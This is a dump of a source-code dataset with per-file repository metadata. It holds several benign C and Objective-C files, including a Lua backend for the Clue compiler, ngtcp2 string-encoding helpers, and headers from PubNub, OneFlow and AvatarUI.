hexsha
stringlengths
40
40
size
int64
5
1.05M
ext
stringclasses
588 values
lang
stringclasses
305 values
max_stars_repo_path
stringlengths
3
363
max_stars_repo_name
stringlengths
5
118
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringdate
2015-01-01 00:00:35
2022-03-31 23:43:49
max_stars_repo_stars_event_max_datetime
stringdate
2015-01-01 12:37:38
2022-03-31 23:59:52
max_issues_repo_path
stringlengths
3
363
max_issues_repo_name
stringlengths
5
118
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
363
max_forks_repo_name
stringlengths
5
135
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringdate
2015-01-01 00:01:02
2022-03-31 23:27:27
max_forks_repo_forks_event_max_datetime
stringdate
2015-01-03 08:55:07
2022-03-31 23:59:24
content
stringlengths
5
1.05M
avg_line_length
float64
1.13
1.04M
max_line_length
int64
1
1.05M
alphanum_fraction
float64
0
1
8388022bf6a444eec1fabadb2a0b490e5c3b572c
12,600
c
C
src/clue/cg-lua.c
passysosysmas/clue
03264f9e6e1a914572451623b6f8fbbe6c878f7b
[ "Unlicense" ]
122
2015-10-11T13:32:53.000Z
2022-03-29T08:16:33.000Z
src/clue/cg-lua.c
vrosnet/clue-1
03264f9e6e1a914572451623b6f8fbbe6c878f7b
[ "Unlicense" ]
5
2015-09-07T19:32:16.000Z
2021-07-06T21:54:25.000Z
src/clue/cg-lua.c
vrosnet/clue-1
03264f9e6e1a914572451623b6f8fbbe6c878f7b
[ "Unlicense" ]
17
2016-09-29T03:01:46.000Z
2022-03-04T20:15:10.000Z
/* cg-lua.c * Backend for Lua * * © 2008 David Given. * Clue is licensed under the Revised BSD open source license. To get the * full license text, see the README file. * * $Id$ * $HeadURL$ * $LastChangedDate: 2007-04-30 22:41:42 +0000 (Mon, 30 Apr 2007) $ */ #include "globals.h" static int function_arg_list = 0; static int function_is_initializer = 0; static int register_count; /* Reset the register tracking. */ static void cg_reset_registers(void) { register_count = 0; } /* Initialize a new hardreg. */ static void cg_init_register(struct hardreg* reg, int regclass) { assert(!reg->name); reg->name = aprintf("H%d", register_count); register_count++; } /* Get the name of a register. */ static const char* cg_get_register_name(struct hardreg* reg) { assert(reg->name); return reg->name; } /* Emit the file prologue. */ static void cg_prologue(void) { zprintf("require \"clue.crt\"\n"); zprintf("local int = clue.crt.int\n"); zprintf("local booland = clue.crt.booland\n"); zprintf("local boolor = clue.crt.boolor\n"); zprintf("local logand = clue.crt.logand\n"); zprintf("local logor = clue.crt.logor\n"); zprintf("local logxor = clue.crt.logxor\n"); zprintf("local lognot = clue.crt.lognot\n"); zprintf("local shl = clue.crt.shl\n"); zprintf("local shr = clue.crt.shr\n"); zprintf("local _memcpy = _memcpy\n"); } /* Emit the file epilogue. */ static void cg_epilogue(void) { } /* Emit a comment (contains no actual code). */ static void cg_comment(const char* format, ...) { if (verbose) { va_list ap; va_start(ap, format); zprintf("-- "); zvprintf(format, ap); va_end(ap); } } static void cg_declare_slot(struct symbol* sym, unsigned size) { zprintf("local %s\n", show_symbol_mangled(sym)); } static void cg_declare_function(struct symbol* sym, int returning) { cg_declare_slot(sym, 0); } static void cg_declare_function_arg(int regclass) { } static void cg_declare_function_vararg(void) { } static void cg_declare_function_end(void) { } static void cg_create_storage(struct symbol* sym, unsigned size) { zprintf("%s = {}\n", show_symbol_mangled(sym)); } static void cg_import(struct symbol* sym) { const char* s = show_symbol_mangled(sym); zprintf("%s = _G.%s\n", s, s); } static void cg_export(struct symbol* sym) { const char* s = show_symbol_mangled(sym); zprintf("_G.%s = %s\n", s, s); } static void cg_function_prologue(struct symbol* sym, int returning) { if (!sym) { zprintf("local function initializer("); function_is_initializer = 1; } else { zprintf("%s = function(", show_symbol_mangled(sym)); function_is_initializer = 0; } function_arg_list = 0; } static void cg_function_prologue_arg(struct hardreg* reg) { if (function_arg_list > 0) zprintf(", "); zprintf("%s", show_hardreg(reg)); function_arg_list++; } static void cg_function_prologue_vararg(void) { if (function_arg_list > 0) zprintf(", "); zprintf("..."); } static void cg_function_prologue_reg(struct hardreg* reg) { if (function_arg_list != -1) { zprintf(")\n"); function_arg_list = -1; } zprintf("local %s\n", show_hardreg(reg)); } static void cg_function_prologue_end(void) { #if defined LUA51 zprintf("local state = 0;\n"); zprintf("while true do\n"); zprintf("repeat\n"); zprintf("if state == 0 then\n"); #endif } static void cg_function_epilogue(void) { #if defined LUA51 zprintf("until true\n"); zprintf("end\n"); #endif zprintf("end\n\n"); if (function_is_initializer) zprintf("clue.crt.add_initializer(initializer)\n"); } /* Starts a basic block. */ static void cg_bb_start(struct binfo* binfo) { if (binfo->id != 0) #if defined LUA51 zprintf("if state == %d then\n", binfo->id); #else zprintf("::label_%d::\n", binfo->id); #endif } /* Ends a basic block in an unconditional jump. */ static void cg_bb_end_jump(struct binfo* target) { #if defined LUA51 zprintf("state = %d break end\n", target->id); #else zprintf("goto label_%d\n", target->id); #endif } /* Ends a basic block in a conditional jump based on an arithmetic value. */ static void cg_bb_end_if_arith(struct hardreg* cond, struct binfo* truetarget, struct binfo* falsetarget) { #if defined LUA51 zprintf("if %s ~= 0 then state = %d else state = %d end break end\n", show_hardreg(cond), truetarget->id, falsetarget->id); #else zprintf("if %s ~= 0 then goto label_%d else goto label_%d end\n", show_hardreg(cond), truetarget->id, falsetarget->id); #endif } /* Ends a basic block in a conditional jump based on a pointer base value. */ static void cg_bb_end_if_ptr(struct hardreg* cond, struct binfo* truetarget, struct binfo* falsetarget) { #if defined LUA51 zprintf("if %s then state = %d else state = %d end break end\n", show_hardreg(cond), truetarget->id, falsetarget->id); #else zprintf("if %s then goto label_%d else goto label_%d end\n", show_hardreg(cond), truetarget->id, falsetarget->id); #endif } /* Copies a single register. */ static void cg_copy(struct hardreg* src, struct hardreg* dest) { if (src != dest) zprintf("%s = %s\n", show_hardreg(dest), show_hardreg(src)); } /* Loads a value from a memory location. */ static void cg_load(struct hardreg* simple, struct hardreg* base, int offset, struct hardreg* dest) { zprintf("%s = %s[%s + %d]\n", show_hardreg(dest), show_hardreg(base), show_hardreg(simple), offset); } /* Stores a value from a memory location. */ static void cg_store(struct hardreg* simple, struct hardreg* base, int offset, struct hardreg* src) { if (simple) { zprintf("%s[%s + %d] = %s\n", show_hardreg(base), show_hardreg(simple), offset, show_hardreg(src)); } else { zprintf("%s[%d] = %s\n", show_hardreg(base), offset, show_hardreg(src)); } } /* Load a constant int. */ static void cg_set_int(long long int value, struct hardreg* dest) { zprintf("%s = %lld\n", show_hardreg(dest), value); } /* Load a constant float. */ static void cg_set_float(long double value, struct hardreg* dest) { zprintf("%s = %llf\n", show_hardreg(dest), value); } /* Load a constant symbol. */ static void cg_set_symbol(struct symbol* sym, struct hardreg* dest) { zprintf("%s = %s\n", show_hardreg(dest), sym ? show_symbol_mangled(sym) : "nil"); } /* Convert to integer. */ static void cg_toint(struct hardreg* src, struct hardreg* dest) { zprintf("%s = int(%s)\n", show_hardreg(dest), show_hardreg(src)); } /* Arithmetic negation. */ static void cg_negate(struct hardreg* src, struct hardreg* dest) { zprintf("%s = -%s\n", show_hardreg(dest), show_hardreg(src)); } #define SIMPLE_INFIX_2OP(NAME, OP) \ static void cg_##NAME(struct hardreg* src1, struct hardreg* src2, \ struct hardreg* dest) \ { \ zprintf("%s = %s " OP " %s\n", show_hardreg(dest), \ show_hardreg(src1), show_hardreg(src2)); \ } SIMPLE_INFIX_2OP(add, "+") SIMPLE_INFIX_2OP(subtract, "-") SIMPLE_INFIX_2OP(multiply, "*") SIMPLE_INFIX_2OP(divide, "/") SIMPLE_INFIX_2OP(mod, "%%") #define SIMPLE_PREFIX_2OP(NAME, OP) \ static void cg_##NAME(struct hardreg* src1, struct hardreg* src2, \ struct hardreg* dest) \ { \ zprintf("%s = " OP "(%s, %s)\n", show_hardreg(dest), \ show_hardreg(src1), show_hardreg(src2)); \ } SIMPLE_PREFIX_2OP(logand, "logand") SIMPLE_PREFIX_2OP(logor, "logor") SIMPLE_PREFIX_2OP(logxor, "logxor") SIMPLE_PREFIX_2OP(booland, "booland") SIMPLE_PREFIX_2OP(boolor, "boolor") SIMPLE_PREFIX_2OP(shl, "shl") SIMPLE_PREFIX_2OP(shr, "shr") #define SIMPLE_SET_2OP(NAME, OP) \ static void cg_##NAME(struct hardreg* src1, struct hardreg* src2, \ struct hardreg* dest) \ { \ zprintf("%s = %s " OP " %s and 1 or 0\n", show_hardreg(dest), \ show_hardreg(src1), show_hardreg(src2)); \ } SIMPLE_SET_2OP(set_gt, ">") SIMPLE_SET_2OP(set_ge, ">=") SIMPLE_SET_2OP(set_lt, "<") SIMPLE_SET_2OP(set_le, "<=") SIMPLE_SET_2OP(set_eq, "==") SIMPLE_SET_2OP(set_ne, "~=") /* Select operations using an arithmetic condition. */ static void cg_select_arith(struct hardreg* cond, struct hardreg* dest1, struct hardreg* dest2, struct hardreg* true1, struct hardreg* true2, struct hardreg* false1, struct hardreg* false2) { zprintf("if %s ~= 0 then ", show_hardreg(cond)); if (dest2) zprintf("%s = %s %s = %s else %s = %s %s = %s", show_hardreg(dest1), show_hardreg(true1), show_hardreg(dest2), show_hardreg(true2), show_hardreg(dest1), show_hardreg(false1), show_hardreg(dest2), show_hardreg(false2)); else zprintf("%s = %s else %s = %s", show_hardreg(dest1), show_hardreg(true1), show_hardreg(dest1), show_hardreg(false1)); zprintf(" end\n"); } /* Select operations using a pointer condition. */ static void cg_select_ptr(struct hardreg* cond, struct hardreg* dest1, struct hardreg* dest2, struct hardreg* true1, struct hardreg* true2, struct hardreg* false1, struct hardreg* false2) { zprintf("if %s then ", show_hardreg(cond)); if (dest2) zprintf("%s = %s %s = %s else %s = %s %s = %s", show_hardreg(dest1), show_hardreg(true1), show_hardreg(dest2), show_hardreg(true2), show_hardreg(dest1), show_hardreg(false1), show_hardreg(dest2), show_hardreg(false2)); else zprintf("%s = %s else %s = %s", show_hardreg(dest1), show_hardreg(true1), show_hardreg(dest1), show_hardreg(false1)); zprintf(" end\n"); } static void cg_call(struct hardreg* func, struct hardreg* dest1, struct hardreg* dest2) { if (dest1) if (dest2) zprintf("%s, %s = %s(", show_hardreg(dest1), show_hardreg(dest2), show_hardreg(func)); else zprintf("%s = %s(", show_hardreg(dest1), show_hardreg(func)); else zprintf("%s(", show_hardreg(func)); function_arg_list = 0; } static void cg_call_arg(struct hardreg* arg) { if (function_arg_list > 0) zprintf(", "); zprintf("%s", show_hardreg(arg)); function_arg_list++; } static void cg_call_end(void) { zprintf(")\n"); } /* Return. */ static void cg_ret(struct hardreg* reg1, struct hardreg* reg2) { if (reg1) { if (reg2) zprintf("do return %s, %s end\n", show_hardreg(reg1), show_hardreg(reg2)); else zprintf("do return %s end\n", show_hardreg(reg1)); } else zprintf("do return end\n"); #if defined LUA51 zprintf("end\n"); #endif } /* Do a structure copy from one location to another. */ static void cg_memcpy(struct hardregref* src, struct hardregref* dest, int size) { assert(src->type == TYPE_PTR); assert(dest->type == TYPE_PTR); zprintf("_memcpy(sp, stack, %s, %s, %s, %s, %d)\n", show_hardreg(dest->simple), show_hardreg(dest->base), show_hardreg(src->simple), show_hardreg(src->base), size); } const struct codegenerator #if defined LUA51 cg_lua51 #elif defined LUA52 cg_lua52 #else #error "Unknown Lua dialect!" #endif = { .pointer_zero_offset = 1, .spname = "sp", .fpname = "fp", .stackname = "stack", .register_class = { [0] = REGTYPE_ALL }, .reset_registers = cg_reset_registers, .init_register = cg_init_register, .get_register_name = cg_get_register_name, .prologue = cg_prologue, .epilogue = cg_epilogue, .comment = cg_comment, .declare_function = cg_declare_function, .declare_function_arg = cg_declare_function_arg, .declare_function_vararg = cg_declare_function_vararg, .declare_function_end = cg_declare_function_end, .declare_slot = cg_declare_slot, .create_storage = cg_create_storage, .import = cg_import, .export = cg_export, .function_prologue = cg_function_prologue, .function_prologue_arg = cg_function_prologue_arg, .function_prologue_vararg = cg_function_prologue_vararg, .function_prologue_reg = cg_function_prologue_reg, .function_prologue_end = cg_function_prologue_end, .function_epilogue = cg_function_epilogue, .bb_start = cg_bb_start, .bb_end_jump = cg_bb_end_jump, .bb_end_if_arith = cg_bb_end_if_arith, .bb_end_if_ptr = cg_bb_end_if_ptr, .copy = cg_copy, .load = cg_load, .store = cg_store, .set_int = cg_set_int, .set_float = cg_set_float, .set_osymbol = cg_set_symbol, .set_fsymbol = cg_set_symbol, .toint = cg_toint, .negate = cg_negate, .add = cg_add, .subtract = cg_subtract, .multiply = cg_multiply, .divide = cg_divide, .mod = cg_mod, .shl = cg_shl, .shr = cg_shr, .logand = cg_logand, .logor = cg_logor, .logxor = cg_logxor, .booland = cg_booland, .boolor = cg_boolor, .set_gt = cg_set_gt, .set_ge = cg_set_ge, .set_lt = cg_set_lt, .set_le = cg_set_le, .set_eq = cg_set_eq, .set_ne = cg_set_ne, .select_ptr = cg_select_ptr, .select_arith = cg_select_arith, .call = cg_call, .call_arg = cg_call_arg, .call_vararg = cg_call_arg, .call_end = cg_call_end, .ret = cg_ret, .memcpyimpl = cg_memcpy };
22.78481
80
0.692381
2662426f8d9b1352421692f5b831f502553130a0
3,282
h
C
old/Chat/Pods/Headers/Public/PubNub/PNAccessRightsInformation.h
usrfrndly/AfterHours.FM
90e0d9035994d851b284ba1867c41a07fd244190
[ "MIT" ]
2
2016-01-05T09:24:42.000Z
2017-01-26T12:26:59.000Z
old/Chat/Pods/Headers/Public/PubNub/PNAccessRightsInformation.h
usrfrndly/AfterHours.FM
90e0d9035994d851b284ba1867c41a07fd244190
[ "MIT" ]
null
null
null
old/Chat/Pods/Headers/Public/PubNub/PNAccessRightsInformation.h
usrfrndly/AfterHours.FM
90e0d9035994d851b284ba1867c41a07fd244190
[ "MIT" ]
null
null
null
// // PNAccessRightsInformation.h // pubnub // // Created by Sergey Mamontov on 11/3/13. // Copyright (c) 2013 PubNub Inc. All rights reserved. // #import "PNStructures.h" #import "PNChannelProtocol.h" #pragma mark Public interface declaration @interface PNAccessRightsInformation : NSObject #pragma mark - Properties /** Stores access rights level for which this object has been created. */ @property (nonatomic, readonly, assign) PNAccessRightsLevel level; /** Stores access rights bit mask which describe whether there is \a 'read' / \a 'write' rights on object specified by access level */ @property (nonatomic, readonly, assign) PNAccessRights rights; /** Stores reference on key which is used to identify application (\a 'subscription' key). */ @property (nonatomic, readonly, copy) NSString *subscriptionKey; /** Stores reference on channel for which access rights has been granted or retrieved. @note This property will be set only if \a level is set to: \a PNChannelAccessRightsLevel or \a PNUserAccessRightsLevel. */ @property (nonatomic, readonly, strong) PNChannel *channel DEPRECATED_MSG_ATTRIBUTE(" Use 'object' property instead"); /** Stores reference on data feed object for which access rights has been granted or retrieved. @note This property will be set only if \a level is set to: \a PNChannelAccessRightsLevel, \a PNChannelGroupAccessRightsLevel or \a PNUserAccessRightsLevel. */ @property (nonatomic, readonly, strong) id <PNChannelProtocol> object; /** Stores reference on authorization key for which access rights has been granted or retrieved. @note This property will be set only if \a level is set to \a PNUserAccessRightsLevel. */ @property (nonatomic, readonly, copy) NSString *authorizationKey; /** Stores reference on value, which described on how long specified access rights has been granted. */ @property (nonatomic, readonly, assign) NSUInteger accessPeriodDuration; #pragma mark - Instance methods /** Check access rights bit mask and return whether \a 'read' access permission is granted or not. @return \c YES if \b PNReadAccessRight bit is set in \a 'rights' property. */ - (BOOL)hasReadRight; /** Check access rights bit mask and return whether \a 'write' access permission is granted or not. @return \c YES if \b PNWriteAccessRight bit is set in \a 'rights' property. */ - (BOOL)hasWriteRight; /** Check access rights bit mask and return whether \a 'write' access permission is granted or not. @discussion This check doesn't include \a 'management' access rights @return \c YES if both \b PNReadAccessRight and \b PNWriteAccessRight bits are set in \a 'rights' property. */ - (BOOL)hasAllRights; /** Check access rights bit mask and return whether \a 'write' access permission is granted or not. @return \c YES if \b PNManagementAccessRight bit is set in \a 'rights' property. */ /** @brief Rights bit field check for management ability. @return \c YES in case if there is rights management rights. @since 3.7.0 */ - (BOOL)hasManagementRight; /** Check whether all rights has been revoked or not. @return \c YES if both \b PNReadAccessRight and \b PNWriteAccessRight bits not set in \a 'rights' property. */ - (BOOL)isAllRightsRevoked; #pragma mark - @end
28.789474
121
0.746801
3118955b248902c35c87a9f47d9dff631a7d877a
5,536
c
C
lib/ngtcp2_str.c
timgates42/ngtcp2
f52e4c1fefd51c341645e6645fe0d90a3b421ea6
[ "MIT" ]
null
null
null
lib/ngtcp2_str.c
timgates42/ngtcp2
f52e4c1fefd51c341645e6645fe0d90a3b421ea6
[ "MIT" ]
null
null
null
lib/ngtcp2_str.c
timgates42/ngtcp2
f52e4c1fefd51c341645e6645fe0d90a3b421ea6
[ "MIT" ]
null
null
null
/* * ngtcp2 * * Copyright (c) 2017 ngtcp2 contributors * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "ngtcp2_str.h" #include <string.h> #include "ngtcp2_macro.h" void *ngtcp2_cpymem(void *dest, const void *src, size_t n) { memcpy(dest, src, n); return (uint8_t *)dest + n; } uint8_t *ngtcp2_setmem(uint8_t *dest, uint8_t b, size_t n) { memset(dest, b, n); return dest + n; } #define LOWER_XDIGITS "0123456789abcdef" uint8_t *ngtcp2_encode_hex(uint8_t *dest, const uint8_t *data, size_t len) { size_t i; uint8_t *p = dest; for (i = 0; i < len; ++i) { *p++ = (uint8_t)LOWER_XDIGITS[data[i] >> 4]; *p++ = (uint8_t)LOWER_XDIGITS[data[i] & 0xf]; } *p = '\0'; return dest; } char *ngtcp2_encode_printable_ascii(char *dest, const uint8_t *data, size_t len) { size_t i; char *p = dest; uint8_t c; for (i = 0; i < len; ++i) { c = data[i]; if (0x20 <= c && c <= 0x7e) { *p++ = (char)c; } else { *p++ = '.'; } } *p = '\0'; return dest; } /* * write_uint writes |n| to the buffer pointed by |p| in decimal * representation. It returns |p| plus the number of bytes written. * The function assumes that the buffer has enough capacity to contain * a string. */ static uint8_t *write_uint(uint8_t *p, uint64_t n) { size_t nlen = 0; uint64_t t; uint8_t *res; if (n == 0) { *p++ = '0'; return p; } for (t = n; t; t /= 10, ++nlen) ; p += nlen; res = p; for (; n; n /= 10) { *--p = (uint8_t)((n % 10) + '0'); } return res; } uint8_t *ngtcp2_encode_ipv4(uint8_t *dest, const uint8_t *addr) { size_t i; uint8_t *p = dest; p = write_uint(p, addr[0]); for (i = 1; i < 4; ++i) { *p++ = '.'; p = write_uint(p, addr[i]); } *p = '\0'; return dest; } /* * write_hex_zsup writes the content of buffer pointed by |data| of * length |len| to |dest| in hex string. Any leading zeros are * suppressed. It returns |dest| plus the number of bytes written. */ static uint8_t *write_hex_zsup(uint8_t *dest, const uint8_t *data, size_t len) { size_t i; uint8_t *p = dest; uint8_t d; for (i = 0; i < len; ++i) { d = data[i]; if (d >> 4) { break; } d &= 0xf; if (d) { *p++ = (uint8_t)LOWER_XDIGITS[d]; ++i; break; } } if (p == dest && i == len) { *p++ = '0'; return p; } for (; i < len; ++i) { d = data[i]; *p++ = (uint8_t)LOWER_XDIGITS[d >> 4]; *p++ = (uint8_t)LOWER_XDIGITS[d & 0xf]; } return p; } uint8_t *ngtcp2_encode_ipv6(uint8_t *dest, const uint8_t *addr) { uint16_t blks[8]; size_t i; size_t zlen, zoff; size_t max_zlen = 0, max_zoff = 8; uint8_t *p = dest; for (i = 0; i < 16; i += sizeof(uint16_t)) { /* Copy in network byte order. */ memcpy(&blks[i / sizeof(uint16_t)], addr + i, sizeof(uint16_t)); } for (i = 0; i < 8;) { if (blks[i]) { ++i; continue; } zlen = 1; zoff = i; ++i; for (; i < 8 && blks[i] == 0; ++i, ++zlen) ; if (zlen > max_zlen) { max_zlen = zlen; max_zoff = zoff; } } /* Do not suppress a single '0' block */ if (max_zlen == 1) { max_zoff = 8; } if (max_zoff != 0) { p = write_hex_zsup(p, (const uint8_t *)blks, sizeof(uint16_t)); for (i = 1; i < max_zoff; ++i) { *p++ = ':'; p = write_hex_zsup(p, (const uint8_t *)(blks + i), sizeof(uint16_t)); } } if (max_zoff != 8) { *p++ = ':'; if (max_zoff + max_zlen == 8) { *p++ = ':'; } else { for (i = max_zoff + max_zlen; i < 8; ++i) { *p++ = ':'; p = write_hex_zsup(p, (const uint8_t *)(blks + i), sizeof(uint16_t)); } } } *p = '\0'; return dest; } int ngtcp2_verify_stateless_reset_token(const uint8_t *want, const uint8_t *got) { return !ngtcp2_check_invalid_stateless_reset_token(got) && ngtcp2_cmemeq(want, got, NGTCP2_STATELESS_RESET_TOKENLEN) ? 0 : NGTCP2_ERR_INVALID_ARGUMENT; } int ngtcp2_check_invalid_stateless_reset_token(const uint8_t *token) { static uint8_t invalid_token[NGTCP2_STATELESS_RESET_TOKENLEN] = {0}; return 0 == memcmp(invalid_token, token, NGTCP2_STATELESS_RESET_TOKENLEN); } int ngtcp2_cmemeq(const uint8_t *a, const uint8_t *b, size_t n) { size_t i; int rv = 0; for (i = 0; i < n; ++i) { rv |= a[i] ^ b[i]; } return rv == 0; }
22.781893
80
0.587247
03dd3dda7c9878de9fe8f046265eeea613e6d67c
165
h
C
Engine/Include/Explosion/Core/Ecs/Wrapper.h
Reve4Mevol/TestAction
b07d6325b8079fe8927095190159ab99dcb90531
[ "MIT" ]
1
2021-05-07T13:48:34.000Z
2021-05-07T13:48:34.000Z
Engine/Include/Explosion/Core/Ecs/Wrapper.h
Reve4Mevol/TestAction
b07d6325b8079fe8927095190159ab99dcb90531
[ "MIT" ]
null
null
null
Engine/Include/Explosion/Core/Ecs/Wrapper.h
Reve4Mevol/TestAction
b07d6325b8079fe8927095190159ab99dcb90531
[ "MIT" ]
null
null
null
// // Created by Administrator on 2021/4/3 0003. // #ifndef EXPLOSION_WRAPPER_H #define EXPLOSION_WRAPPER_H #include <entt/entt.hpp> #endif //EXPLOSION_WRAPPER_H
15
45
0.763636
c10e57bdb8474abef45c6da4c69908c06c0ccbf1
1,052
h
C
oneflow/core/control/bootstrap_server.h
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
oneflow/core/control/bootstrap_server.h
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
oneflow/core/control/bootstrap_server.h
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
/* Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef ONEFLOW_CORE_CONTROL_BOOTSTRAP_SERVER_H_ #define ONEFLOW_CORE_CONTROL_BOOTSTRAP_SERVER_H_ #include "oneflow/core/control/rpc_server.h" #include "oneflow/core/job/env_desc.h" namespace oneflow { class BootstrapServer : public RpcServer { public: OF_DISALLOW_COPY_AND_MOVE(BootstrapServer); BootstrapServer() = default; virtual ~BootstrapServer() override = default; }; } // namespace oneflow #endif // ONEFLOW_CORE_CONTROL_BOOTSTRAP_SERVER_H_
30.941176
72
0.796578
c1babb63b316a35df08eca16c7f22831871732bd
2,394
h
C
System/Library/PrivateFrameworks/AvatarUI.framework/AVTCircularButton.h
lechium/iOS1351Headers
6bed3dada5ffc20366b27f7f2300a24a48a6284e
[ "MIT" ]
2
2021-11-02T09:23:27.000Z
2022-03-28T08:21:57.000Z
System/Library/PrivateFrameworks/AvatarUI.framework/AVTCircularButton.h
lechium/iOS1351Headers
6bed3dada5ffc20366b27f7f2300a24a48a6284e
[ "MIT" ]
null
null
null
System/Library/PrivateFrameworks/AvatarUI.framework/AVTCircularButton.h
lechium/iOS1351Headers
6bed3dada5ffc20366b27f7f2300a24a48a6284e
[ "MIT" ]
1
2022-03-28T08:21:59.000Z
2022-03-28T08:21:59.000Z
/* * This header is generated by classdump-dyld 1.5 * on Wednesday, October 27, 2021 at 3:16:37 PM Mountain Standard Time * Operating System: Version 13.5.1 (Build 17F80) * Image Source: /System/Library/PrivateFrameworks/AvatarUI.framework/AvatarUI * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. Updated by Kevin Bradley. */ #import <AvatarUI/AvatarUI-Structs.h> #import <UIKitCore/UIButton.h> @class CAShapeLayer, UIColor, UIImage; @interface AVTCircularButton : UIButton { BOOL _isUsingDynamicBackground; CAShapeLayer* _clippingLayer; UIColor* _dynamicBackgroundColor; UIImage* _symbolImage; UIColor* _symbolTintColor; } @property (nonatomic,retain) CAShapeLayer * clippingLayer; //@synthesize clippingLayer=_clippingLayer - In the implementation block @property (nonatomic,retain) UIColor * dynamicBackgroundColor; //@synthesize dynamicBackgroundColor=_dynamicBackgroundColor - In the implementation block @property (nonatomic,retain) UIImage * symbolImage; //@synthesize symbolImage=_symbolImage - In the implementation block @property (nonatomic,retain) UIColor * symbolTintColor; //@synthesize symbolTintColor=_symbolTintColor - In the implementation block @property (assign,nonatomic) BOOL isUsingDynamicBackground; //@synthesize isUsingDynamicBackground=_isUsingDynamicBackground - In the implementation block -(id)initWithCoder:(id)arg1 ; -(void)setBackgroundColor:(id)arg1 ; -(id)initWithFrame:(CGRect)arg1 ; -(void)layoutSubviews; -(void)setHighlighted:(BOOL)arg1 ; -(void)tintColorDidChange; -(CAShapeLayer *)clippingLayer; -(void)setClippingLayer:(CAShapeLayer *)arg1 ; -(UIColor *)dynamicBackgroundColor; -(void)setupView; -(void)setSymbolImageWithName:(id)arg1 configuration:(id)arg2 ; -(void)setSymbolTintColor:(UIColor *)arg1 ; -(void)setSymbolImageWithName:(id)arg1 ; -(void)updateDynamicBackgroundColor; -(BOOL)isUsingDynamicBackground; -(void)setIsUsingDynamicBackground:(BOOL)arg1 ; -(void)setDynamicBackgroundColor:(UIColor *)arg1 ; -(void)updateBackgroundColorIfNeeded; -(double)circleLayerAlpha; -(UIImage *)symbolImage; -(void)setSymbolImage:(UIImage *)arg1 ; -(UIColor *)symbolTintColor; @end
45.169811
170
0.723058
1e631e5e702009c3121cf8a5a37501af6aef7517
55
h
C
platforms/ios/plus/Pods/Headers/Public/WeexSDK/WXJSCoreBridge.h
qq476743842/weex-saoa
27d2347e865cf35e7c9bfb6180ba7b5106875296
[ "MIT" ]
13
2018-04-14T09:38:13.000Z
2021-09-03T17:07:04.000Z
platforms/ios/plus/Pods/Headers/Public/WeexSDK/WXJSCoreBridge.h
qq476743842/weex-oa
27d2347e865cf35e7c9bfb6180ba7b5106875296
[ "MIT" ]
1
2019-09-05T02:17:42.000Z
2019-09-05T02:17:42.000Z
platforms/ios/plus/Pods/Headers/Public/WeexSDK/WXJSCoreBridge.h
qq476743842/weex-oa
27d2347e865cf35e7c9bfb6180ba7b5106875296
[ "MIT" ]
5
2019-08-13T08:36:46.000Z
2021-09-03T05:20:21.000Z
../../../../sdk/WeexSDK/Sources/Bridge/WXJSCoreBridge.h
55
55
0.690909
37c4f334b27fd26ffed006913ffb7e3f0cb646de
8,682
c
C
src/QtAALib/aalib/aaparse.c
Vladimir-Lin/QtAALib
9464a71b8fefd802332872cd76b65ee369e276e5
[ "MIT" ]
null
null
null
src/QtAALib/aalib/aaparse.c
Vladimir-Lin/QtAALib
9464a71b8fefd802332872cd76b65ee369e276e5
[ "MIT" ]
null
null
null
src/QtAALib/aalib/aaparse.c
Vladimir-Lin/QtAALib
9464a71b8fefd802332872cd76b65ee369e276e5
[ "MIT" ]
null
null
null
